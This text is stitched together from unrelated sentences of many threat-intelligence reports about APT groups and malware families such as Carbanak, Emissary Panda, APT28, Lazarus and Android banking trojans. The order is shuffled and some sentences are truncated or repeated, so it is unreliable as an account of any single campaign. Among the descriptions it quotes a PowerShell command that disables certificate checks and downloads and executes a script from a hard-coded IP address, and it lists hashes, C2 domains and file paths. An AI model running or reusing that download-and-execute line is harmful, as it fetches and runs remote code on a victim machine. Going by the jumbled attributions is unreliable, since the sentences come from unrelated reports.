simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization , move laterally , exfiltrate data , and deploy anti-forensic and evasion tools . However , this action doesn’t appear to have made a dent in the cybercriminal organization , as subsequent spear-phishing campaigns seem to have been reported from March until May 2018 . Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees . The Carbanak group , which has a long track record of compromising infrastructure belonging to financial institutions , is still active . Its purpose remains to manipulate financial assets , such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals . If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out . The actors uploaded a variety of tools that they used to perform additional activities on the compromised network , such as dumping credentials , as well as locating and pivoting to additional systems on the network . We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell . Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system , then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks . We also found the China Chopper webshell on the SharePoint servers , which has also been used by the Emissary Panda threat group . Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 . In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks . This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1 , 2019 and April 16 , 2019 , where actors uploaded a total of 24 unique executables across the three SharePoint servers . The timeline shows three main clusters of activity across the three webshells , with activity occurring on two separate webshells within a very small window of time on April 2 , 2019 and the activity involving the third webshell two weeks later on April 16 , 2019 . In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security . Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities . We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda . Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell . During our research into this attack campaign , Unit 42 gathered several tools that the Emissary Panda uploaded to the three webshells at the two government organizations . We also observed the actors uploading the HyperBro backdoor to one of the webshells , as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity . Lastly , we saw the actor uploading a custom backdoor called HyperBro , which has been associated with Emissary Panda operations in the past . The other overlapping files are tools used by the adversary to locate other systems on the network ( etool.exe ) , check to see if they are vulnerable to CVE-2017-0144 ( EternalBlue ) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket ( psexec.exe ) . Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper . we will provide an analysis of the HyperBro tool in an upcoming section . However , using NCC Group’s research published in May 2018 , we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign . The list also includes several hack tools , such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network . Unfortunately , we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files , so we do not know the final payload loaded by either of these DLLs . Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822 ) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .


After deobfuscation we extracted :


According to the DroidVPN app description , it “ helps bypass regional internet restrictions , web filtering and firewalls by tunneling traffic over ICMP. ” Some features may require devices to be rooted to function and according to some 3rd party app stores , unconditional rooting is required , which has additional security implications for the device . The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems . However , the malware shared several traits with the RIPTIDE and HIGHTIDE backdoor that we have attributed to APT12 .


In contrast , on the emulator , a toast message is displayed that shows “ Install completed ” , at which point FakeSpy removes its shortcut from the device 's homescreen . FIN7’s last campaigns were targeting banks in Europe and Central America . At least one of the attacks in this campaign leveraged a European security and defense-themed lure , which aligns with the targeting preferences for this group .


PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 . The developers refer to this tool by the name Kazuar , which is a Trojan written using the Microsoft.NET Framework that offers actors complete access to compromised systems targeted by its operator .


Afterward , it will start several timers to execute different tasks . The Gamaredon Group has been actively launching spear-phishing attacks against Ukrainian government and military departments from the mid-2013s . In April 2017 , APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware .


Sending SMS messages to financial institutions to query account balances . In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China . The ﬁrst one is the setting of the registry key “ HKEY_CURRENT_USER\Software\Microsoft\Ofﬁce\ ” & Application.Version & _ ” \Word\Security\ ” and the declaration of some other variables , such as the dropurl “ geticons.ddns.net ” . In November 2016 , Volexity documented new Dukes - related activity involving spear phishing with links to a ZIP archive containing a malicious LNK file , which would run PowerShell commands to install a new custom backdoor called PowerDuke .


This is a common technique used by malware developers to bundle the main payload inside the Android package to avoid easy detection . The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking . This secondary communication channel may be used by operators when access to the hard-coded control servers is disrupted .


The file was created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe .


] com hxxp : //mailsa-qaf [ . In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations' , and characterized APT28 's activity as aligning with the Russian Government 's strategic intelligence requirements . After the send operation is complete, the lock file for the current run is deleted and the script . In addition , Hack520 ’s tweets always show photos of the same animal , which is likely his pet pig .


A TrickMo Kill Switch One of the most interesting features of the TrickMo malware is having its own kill switch . Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia . After getting the IP , the ProjectSauron component tries to communicate with the remote server using its own ( ProjectSauron ) protocol as if it was yet another C&C server .


It is noteworthy that BusyGasper supports the IRC protocol which is rarely seen among Android malware . In this latest discovery by McAfee , despite a short pause in similar operations , the Lazarus group targets financial organizations . At the same time , code embedded within this file also executed a powershell command to download and execute a copy of chfeeds.vbe from the C&C server . [System.Net.ServicePointManager] : :S erverCertificateValidationCallback={$true};IEX (New-Object Net.WebClient ) .DownloadString ( ' https://217.147.168.46:8088/index.jpg ' ) . Other big stories in June include a suspected LockBit affiliate arrest , the Royal ransomware gang toying with a new encryptor , and a notable increase in attacks on the Manufacturing sector .


TRITON Attribution : Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers .


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We therefore believe the Dukes to be a single , large , wellcoordinated organization with clear separation of responsibilities and targets .


This host was registered in late March and appears to be unique to this campaign .


The body contains a message and URL . As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 . OceanLotus : stellefaff.com 7244 . While COSMICENERGY ’s capabilities are not significantly different from previous OT malware families ’ , its discovery highlights several notable developments in the OT threat landscape .


It has modular architecture implemented in the form of plugins , or it can receive new .NET source code , which will be compiled on the device in runtime . From the beginning of 2019 until July , we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia , Central Asia and regions of Ukraine with ongoing military conflicts . In 2017 , APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country ( read on for a case study ) .


The command is translated to an IPacket of type GetSystemInfo .


On disk artefacts File with the full path : %AppData%\Video\videodrv.exe File with the full path : %AppData%\Platform\sslwin.exe Files with following file hashes .


Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 . Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .


As with most Android ransomware , this new threat doesn ’ t actually block access to files by encrypting them . Leveraging click counts for the campaign for Bitly , we were able to see Gorgon Group 's activity volume increase throughout April . a conditional jump of the dispatcher predecessor’s tail instruction in goto N predecessors case , SysUpdate is a featurerich backdoor that has multiple capabilities , including


In the past few months , Unit 42 has observed the Patchwork group , alternatively known as Dropping Elephant and Monsoon , conducting campaigns against targets located in the Indian subcontinent . Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware .


WE STILL CAN SELLING IT FOR SPAM , FAKE , BANK CRIME etc… We collect and download all of your personal data . They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt . We have a high level of confidence in a historic association between FIN7 and Cobalt , even though we believe that these two clusters of activity are operated by different teams . If scripts are not commonly used on a system , but enabled , scripts running out of cycle from patching or other administrator functions are suspicious .


This makes it impossible to create a target profile . LYCEUM is an emerging threat to energy organizations in the Middle East , but organizations should not assume that future targeting will be limited to this sector . Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .


Much like the CosmicDuke toolset , the loader used by both MiniDuke and CosmicDuke had previously only undergone one major update ( the Nemesis Gemina upgrade ) since the first known samples from 2010 .


Of note is TA505 ’s use of the Necurs botnet to drive their massive spam campaigns .


So far , the attackers relied entirely on social engineering to infect the targets . Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users . We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign , a campaign Unit 42 has been following since May 2016 .


They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage . We dove deeper into Confucius' operations—namely , the malware-ridden documents , backdoors , and file stealers they use in their campaigns .


Next , if they indicate that they use an Android-based device , the Trojan , impersonating their bank with web injections , fools the victim into installing a fake security app . The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content . The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .


PACKING In addition to implementing custom obfuscation techniques , apps have used several commercially available packers including : Qihoo360 , AliProtect and SecShell . In the Bahamut report , we discussed two domains found within our search that were linked with a custom Android malware agent . Unlike zxFunction001, this is not used by The SCIL commands would have caused the MicroSCADA server to relay the commands to the substation RTUs via either the IEC-60870 - 5 - 104 protocol for TCP / IP connections or the IEC-60870 - 5 - 101 protocol for serial connections .


It leveraged DDE to retrieve and install a payload onto the victim host .


The Poseidon Group is a long-running team operating on all domains : land , air , and sea . This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .


The fake doesn ’ t quite nail the app name . We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea . Exfiltration is done through the bitsadmin.exe . “ And his access was never shut off until today ? , ” asked the company ’s general counsel Mike Dacks .


Strong evidence links BRONZE PRESIDENT 's infrastructure to entities within the PRC .


CTU researchers immediately recognized suspicious commands , such as changing the working directory to recycler and executing commands from that location , that were unlikely to have been connected to legitimate system administrator operations .


The source process tries to determine the location of dlopen , dlsym , and dlclose functions in the target process . The first Potao campaign that we examined took place in August 2011 . APT17 : 195ade342a6a4ea0a58cfbfb43dc64cb . While inspecting one of the C&C servers of Miniduke , we have found files that were not related to the C&C code , but seemed to be prepared for infecting visitors using web - based vulnerabilities .


The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine . The interest among hackers in targeting trading systems is expected to grow .


In this campaign , the attackers use different TTPs and decoy documents reminiscent of previous campaigns by MoleRATs involving the Micropsia and Kaperagent malware .


While the loader has often been used together with other MiniDuke components , it has also commonly been used in conjunction with CosmicDuke and PinchDuke .


The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems . Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .


The PinchDuke information stealer gathers system configuration information , steals user credentials , and collects user files from the compromised host transferring these via HTTP (S ) to a C&C server .


They have extensive checks for the various security software that is installed on the system and their specific configurations .


Although the applications were never available in Google Play , we immediately identified the scope of the problem by using Verify Apps . The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 . gaming industry scope attackers asia . Significantly , Anonymous Sudan has caused significant disruptions at a level not observed by KillNet affiliates previously .


The size of the botnet however ( about 1400 bots ) is very small if its intended use is for commercial DoS attacks or spam-sending .


Selling the ad traffic directly or displaying ads from other sources in a very large volume can provide direct profit to the app author from the advertisers . The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched . The exploit documents delivered during the December campaigns dropped a binary containing an embedded variant of a backdoor we refer to as ELMER . Regardless of which side of the political spectrum you fall , cybersecurity should be something our lawmakers can all agree on .


] infokalisi [ . In May 2015 , Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account , sent to an Israeli industrial organization . In these instances they do not need to use a proxy tool like HTRAN to interact with victim systems . If used successfully , the attacker can set up a proxy Microsoft 365 authentication system and steal a victim ’s authentication credentials or cookies with a “ man - in - the - middle " attack .


Once the file is unpacked , the backdoor is dropped in two different locations on the infected operating system :


If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation . Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .


Update and patch production servers regularly .


That security software is commonly installed on computers in Brazil as several banks require it to log into their online banking . Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar . This report will explore the various installers , uninstallers and loaders Novetta has observed the Lazarus Group using .


The operator can specify a path with the database of any targeted application and server-side PHP script name for uploading . NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers . The group has been attributed to the Chinese People ’s Liberation Army ’s ( PLA ) Chengdu Military Region Second Technical Reconnaissance Bureau ( Military Unit Cover Designator 78020 ) .


The client receives and decrypts the packet .


Special focus will be on the samples that were used in targeted attacks against Ukrainian government organizations earlier this year . APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .


The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system . Originally , the main infection vector of Blue Termite was spear-phishing emails .


List of packages received from the C2 adminNumber : Setup of the admin phone number . Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link . Upon successful connection , the malware transmits victim information such as : hostname , IP address , Language Pack along with other operating system information . • None consisting of CVE-2022 - 41080 and CVE-2022 - 41082 to achieve remote code execution ( RCE ) through Outlook Web Access ( OWA ) .


The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices . On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .


While analyzing hosts compromised by BRONZE PRESIDENT , CTU researchers identified other malware artifacts .


This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target .


backdoor , Sedreco , AZZY , Xagent , ADVSTORESHELL , NETUI .


] Once launched , the app starts to communicate with its C & C server ( whose IP address is base64-encoded in the app ) . Kaspersky also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China . Here are the 7 actions that the infected machine can be instructed to perform: Delete a specific file .


ESET researchers have observed a significant change in the campaign of the infamous espionage group . During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .


We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare . Both attackers and victims speak Spanish natively , as we see it consistently in the source code of the client side and in the Python code .


For most of its history it operated as a government department or public corporation . Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity . Recently Subaat drew our attention due to renewed targeted attack activity .


We can’t get hold of the final payload that ’s executed in memory , but we believe its backdoor-type malware is ultimately used to control the infected victim .


To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe utility to register a custom shim database file containing a patch onto a system . The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .


This group has used a large array of infection vectors , mostly revolving around drive-by downloads and spam . Perhaps it also points to the suspected North Korean origin of attack .


The second attack vector , the overlay attack , shows a customized phishing window whenever a targeted application is started on the device . While PLEAD and KIVARS are most likely to be used in first phase attacks , Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege . This file contains a list of IP addresses for the infected machine to connect back to . By analyzing field data we see a gap in the implementation of CSP , and even for sites that do use it correctly , this creates an open window to exfiltrate data .


On the other hand , the network traffic generated by the .NET version is unencoded .


Here are some of the most notable : ‘ geofence ’ – this command adds a specified location to the implant ’ s internal database and when it matches a device ’ s current location the malware triggers and begins to record surrounding audio . These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to NewsBeef's targets . The group 's victims are mainly in the telecommunications , government ( IT services ) , and oil sectors .


Conclusion Threats are better prevented than cured , so do not follow suspicious links in SMS , and be sure to install apps only from official sources and check what permissions you are granting during installation . Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor . The library is only used to perform keylogging and clipboard stealing .


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But in terms of features and behaviors , these two malware are very similar .


File Name : ati.exe .


The emergence of XLoader 6.0 does not only indicate that the threat actors behind it remain active ; it also holds fresh evidence of its connection to FakeSpy . The malware used by the Wekby group has ties to the HTTPBrowser malware family , and uses DNS requests as a command and control mechanism . In the latter case, the P action is passed as one of the parameters to AdrGen and the query is made for an A resource record using the [System.Net.Dns]::GetHostAddresses . The campaigns contain malicious web links and attachments that infect users machines with malware when opened .


Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa . VENOMOUS BEAR is an advanced , Russia-based adversary that's been active since at least 2004 .


In addition to often embedding persistence or privilege escalation components , CosmicDuke has occasionally embedded PinchDuke , GeminiDuke , or MiniDuke components .


That creates a fake ID that allows the perpetrators to generate referral revenues . The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine . Stonedrill ( Trojan.Stonedrill ) : Custom malware capable of opening a backdoor on an infected computer and downloading additional files . NoEscape is a new ransomware which been doing the rounds in underground forums since May 2023 .


RuMMS samples , hosting sites , C2 servers from Jan. 2016 to Mar . Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email . If a serial number exists , the rest of the code is executed . CrowdStrike security researchers were working to develop proof - of - concept ( POC ) code for an exploit method indicative of the logging present after recent Play ransomware attacks .


The macro then decodes a PowerShell script which downloads base64 encoded content from the pastebin url .


We do not know exactly how many people have been infected with RuMMS malware . All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements . Brief Description : SFX Archive First Stage . In particular , we managed to gather details on an individual using the handle Hack520 , who we believe is connected to Winnti .


We have observed these actors using Tor or proxy-based tools similar to Tor (e.g , UltraSurf , as seen in Figure 2) . COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .


DHS and FBI recommend that network administrators review the IP S-PROT addresses , file hashes , network signatures , and YARA rules provided , and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization .


non-Google Play ) app stores which often have fewer security and vetting procedures for the apps they host . APT41 leveraged ADORE.XSEC , a Linux backdoor launched by the Adore-NG rootkit , throughout an organization's Linux environment . During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .


Method doInBackground : to send information to remote C2 server As seen from the major code body of method doInBackground shown in Figure 3 ( some of the original classes and methods are renamed for easier understanding ) , there are three calls to HttpPost with different contents as parameters . It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries . Gamaredon : 76ea98e1861c1264b340cf3748c3ec74473b04d042cd6bfda9ce51d086cb5a1a . The term has been around since the 1990s , and the first spyware to be identified was developed by criminals to steal passwords or financial information from devices .


They can be configured to block data and applications from certain locations ( IP S-PROT whitelisting ) , while allowing relevant and necessary data through .


These threat actors frequently offer malicious apps purporting to be legitimate apps that are broadly used or important to a targeted population . In the case of another Japanese company , Sumitomo Electric , Winnti apparently penetrated their networks during the summer of 2016 . It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .


Everyday users can do the same by checking the router ’ s DNS settings if they ’ ve been modified . Lazarus was also linked to the WannaCry ransomware outbreak in May 2017 . While the name ‘ Winnti ’ in public reporting was previously used tosignify a single actor , pronounced divergence in targeting and tradecraft betweencampaigns has led industry consensus to break up the tracking of the continued use ofthe Winnti malware under different actor clusters .


By the end of that month , CosmicDuke samples we found that had been compiled on the 30th of July had shed unused parts of their code that had essentially just been relics of the past .


Before doing this , the malware makes a screenshot of the screen and displays it on top of all other windows for few seconds . They then proceeded to log directly into the VPN using the credentials of the compromised user . The decrypted payload undergoes one final transformation , where it is XORed with the first byte read from the C:\Windows\system . ini file , which is expected to begin with a comment character " ; " ( 0x3B ) . Curl An opensource commandline tool for transferring data using various network protocols .


These samples were identified as being the work of one group , referred to in this document as " Quedagh " , which has a history of targeting political organizations . In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .


7771af1ad3a3d9c0b4d9b55260bb47c2692722cf com.android.copy 12e085ab85db887438655feebd249127d813e31df766f8c7b009f9519916e389 7771af1ad3a3d9c0b4d9b55260bb47c2692722cf com.android.copy 6348104f8ef22eba5ac8ee737b192887629de987badbb1642e347d0dd01420f8 We assess with moderate confidence that APT40 is a state-sponsored Chinese cyber espionage operation . Winnti : nw.infestexe.com 138.68.14.195 DigitalOcean . While there are several motivations for hackers , we ve covered 6 of the most common ones in this article


At times , the use of this malware testing environment correlates to in-network activities of TEMP.Veles , demonstrating direct operational support for intrusion activity .


AOSP patched the Janus vulnerability since version 7 by introducing APK Signature Scheme V2 . Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 . Besides tracking the files and processes that Dexphot uses to execute an attack , we have also been monitoring the domains used to host malicious payloads . In March 2021 , in a separate environment , we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server .


The sample has a multicomponent structure and can download a payload or updates from its C & C server , which happens to be an FTP server belonging to the free Russian web hosting service Ucoz . The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money . The recipient clicked the link and proceeded to download and open a malicious HTML executable file , which in turn loaded content from a C&C server via an embedded iframe . The malware also contains a new component called Tonnerre French for thunder a secondstage payload used for persistence , surveillance , and data exfiltration .


This encryption algorithm is an extra security layer for communicating with the C2 , an improvement over the previous version of a plain RC4 encryption . If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” . APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .


Uploading any incoming SMS messages ( including the balance inquiry results ) to the remote C2 server . BlackOasis in recent months sent a wave of phishing emails . The second one is the setting of the persistence mechanism through the writing of the vbs code in the Startup folder with name “ templates.vbs ” . When Bradshaw refused to sell the domain , he and his then - girlfriend were subject to an unrelenting campaign of online harassment and blackmail .


the attacker did not leverage all of TRITON’s extensive reconnaissance capabilities . This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .


Our findings , along with previous research , indicates that the threat actor behind these recent campaigns is likely a Chinese group dubbed “ Roaming Mantis ” . The second one is CobaltGoblin Carbanak EmpireMonkey , which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers . This report demonstrates that Ke3chang is able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place .


The command will be issued as an answer to the beaconing , and the result will be returned to the URL http : // /api/v2/set_state.php Example of the command " changeServer '' The commands are issued in a JSON format , and the obfuscation is part of the malware code and not added by the packer . The MuddyWater attacks are primarily against Middle Eastern nations . In Check Point ’s blog , the sample is from December 2018 while this sample is from April 2018 . What is Cisco doing to take action against the growth of commercial spyware ?


The New York Times reported on Nov. 15 that Kryptowire , a mobile enterprise security company , discovered the code on a lower-end smartphone made by BLU Products of Doral , Fla . Other examples of malicious infrastructure registered with internet.bs include domains for APT28’s VPNFilter malware campaign and the registration of the cyber-berkut . The malicious code drops HomamDownloader , then jumps back to the regular flow in the CODE section , which in turn asks the user the password and decrypts the file .


Due to the nature of this document , we assume that this campaign targets people with an interest in cyber security .


The names of the files and decoy content seem to be carefully crafted , often referencing controversial and topical political issues .


Conclusion and security recommendations The continued monitoring of XLoader showed how its operators continuously changed its features , such as its attack vector deployment infrastructure and deployment techniques . We identified three themes in APT28 's lures and registered domains , which together are particularly relevant to the Russian government . After writing the data to disk, receiver operations are complete and processor operations . Sandworm is a full - spectrum threat actor that has carried out espionage , influence and attack operations in support of Russia 's Main Intelligence Directorate ( GRU ) since at least 2009 .


Figure 6 . The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents . Additional ways our customers can detect and block this threat are listed below .


Last month , researchers at Kaspersky reported on a Lazarus APT campaign targeting both macOS and Windows users . The usage of KopiLuwak , a well-known and exclusive artefact previously used by the Turla group , makes us attribute this campaign to this actor with high confidence .


Meanwhile , desktop banking Trojans developed the ability to execute various social engineering schemes by using web injections , a method that alters the content presented to the infected victim in their browser . The threat actor was able to leverage the web shell to run reconnaissance commands , steal credentials , and deploy other tools . We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .


“ Agent Smith ” will replace the original application ’ s activities with an in-house SDK ’ s activity , which will show the banner received from the server . Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering . It used different programs like XMRig and JCE Miner over the course of our research . The observed activity included creation of web shells for persistent access , remote code execution , and reconnaissance for endpoint security solutions .


However , the document does not link to the Egyptian Newspaper website , but instead to a file sharing website called Egnyte .


The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .


Update Jul 11 2016 8:32 : On Monday , a Checkpoint representative disputed Lookout 's contention and pointed to this blog post from security firm Eleven Paths as support . Overall , an organization will need multilayered security strategies , as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses . APT33 : 8.26.21.120 [REDACTED].ddns.net . The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname “ PIG GOD”—another


Targeting profiles included defense related commercial and military organizations , and telecommunications .


In addition , this type of Android banking malware does not require the device to be rooted or the app to have any specific Android permission ( besides android.permission.INTERNET to retrieve the overlay contents and send its captured data ) . The BlackTech group is primarily focused on cyberespionage in Asia . The implementation is quite simple : After the handshake , 2 threads that deal with data transfer are spawned . Our gathered field data shows the following statistics on CSP usage across the Internet ( based on HTTPArchive March 2020 scan ):


Observe below the code routine for call recording . Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer . By hunting through known malware repositories , Morphisec identified matching samples uploaded by Israeli high-tech development companies , medical organizations and education organizations , indicating that they were victims of the attack . The vulnerability , which could allow attackers to gain escalated privileges and unauthorized access to an environment , was first disclosed on May 31st in a security bulletin released by Progress .


Before interpreting the opcode , the VM decrypts the opcode ’ s content ( through a simple XOR algorithm ) , which it then relocates ( if needed ) , using the relocation fields . The use of Emissary appears to be focused only on Taiwan and Hong Kong , with regular malware updates to avoid detection and to increase the odds of success . Some hashes were redacted per request from one of the vendor . A cybercriminal may be impersonating a legitimate external user by using a Man in the Middle MiTM attack ,


Testing , Malware Artifacts , and Malicious Activity Suggests Tie to CNIIHM .


We hope that this blog post helps other researchers to understand and analyze FinFisher samples and that this industry-wide information-sharing translate to the protection of as many customers as possible . The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea . Based on ESET telemetry , one of the second stage payload delivered to victims is Win64/Winnti.BN . Its capabilities include retrieving and executing additional payloads , collecting basic system information , and executing shell commands .


PLATINUM has consistently targeted victims within a small set of countries in South and Southeast Asia . Historically , Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware , which was not seen in these attacks .


Apart from including the country ’ s name , the app ’ s name is probably intended to imply a relationship with the antifraud solution named GAS Tecnologia . We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia , as well as other countries such as India , Japan , Argentina , the Philippines , and South Korea . Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .


As the 2017 elections in Europe approach - most notably in Germany , France , and the Netherlands - we are already seeing the makings of similarly concerted efforts .


